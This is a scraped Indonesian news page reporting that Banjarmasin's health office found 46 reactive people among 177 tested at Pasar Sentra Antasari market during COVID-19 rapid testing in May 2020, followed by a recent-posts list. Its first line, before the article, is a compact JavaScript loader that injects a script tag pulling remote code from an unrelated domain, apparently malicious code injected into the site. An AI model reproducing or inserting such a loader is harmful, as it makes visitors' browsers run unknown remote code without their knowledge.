(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Rapid Test di Pasar Sentra Antasari Banjarmasin 46 Orang Didapati Reaktif


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Kesehatan Kota Banjarmasin melakukan rapid test di Pasar Sentra Antasari Banjarmasin pada Kamis (14/5/2020) pagi. Hasilnya, dari rapid test yang dilakukan secara acak, didapati 46 orang yang dinyatakan reaktif.

“Sudah dilakukan pemeriksaan sebanyak 177 orang yang sisanya lagi proses, dan kita sudah menemukan ada 46 orang yang reaktif,” kata Kepala Dinas Kesehatan Kota Banjarmasin Dr Machli Riyadi saat ditemui di lokasi, Kamis (14/5/2020) pagi.

Temuan 46 orang yang dinyatakan reaktif itu, menurut Juru Bicara Tim Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarmasin ini akan dilanjutkan dengan pemeriksaan swab. Nantinya, dari pemeriksaan swab akan dapat diketahui apakah 46 orang yang reaktif ini benar-benar positif Covid-19 atau tidak.

“Bila nanti dari 46 orang ini, dari swabnya ada berapa yang positif, maka kita akan menjadwalkan tracing selanjutnya. Bisa saja berkembang,” kata Machli.

Machli mengatakan, temuan rapid test yang reaktif di pasar terbesar di Kota Banjarmasin ini di luar prediksi. Namun ia tidak menampik, temuan ini justru merupakan sesuatu yang menggembirakan.

“Dalam artian kita menemukan, ternyata apa yang menjadi prediksi kita bahwa Pasar Sentra Antasari itu adalah sebuah klaster itu ternyata memang terbukti dari 46 orang yang kita temukan saat ini,” ucap Machli.

Diakuinya, pada awal-awal pemeriksaan rapid test beberapa orang pedagang menolak untuk diuji rapid test. Namun belakangan, dengan bantuan aparat TNI-Polri dan Satpol PP untuk menjemput paksa orang-orang untuk mau diuji rapid test.

“Alhamdulillah menjadi lancar, kegiatan ini kita didukung penuh TNI-Polri dan Satpol PP Kota Banjarmasin,” beber Machli.

Ia tidak menampik klaster ini menjadi salah satu yang cukup besar. Karena dari analisa yang dilakukan Dinkes Kota Banjarmasin klaster ini akan terus berkembang, sehingga ia mengimbau masyarakat untuk menggunakan masker selama beraktivitas di luar rumah.

“Karena masker adalah pertahanan pertama bagi setiap orang, jadi memakai masker itu dengan benar sampai hidungnya tertutup. Kita lihat faktanya masih banyak orang yang enggan menggunakan masker dengan benar,” pungkas Machli. (kanalkalimatan.com/fikri)

 

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

3 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

4 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

5 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

5 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

6 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

8 jam ago

This website uses cookies.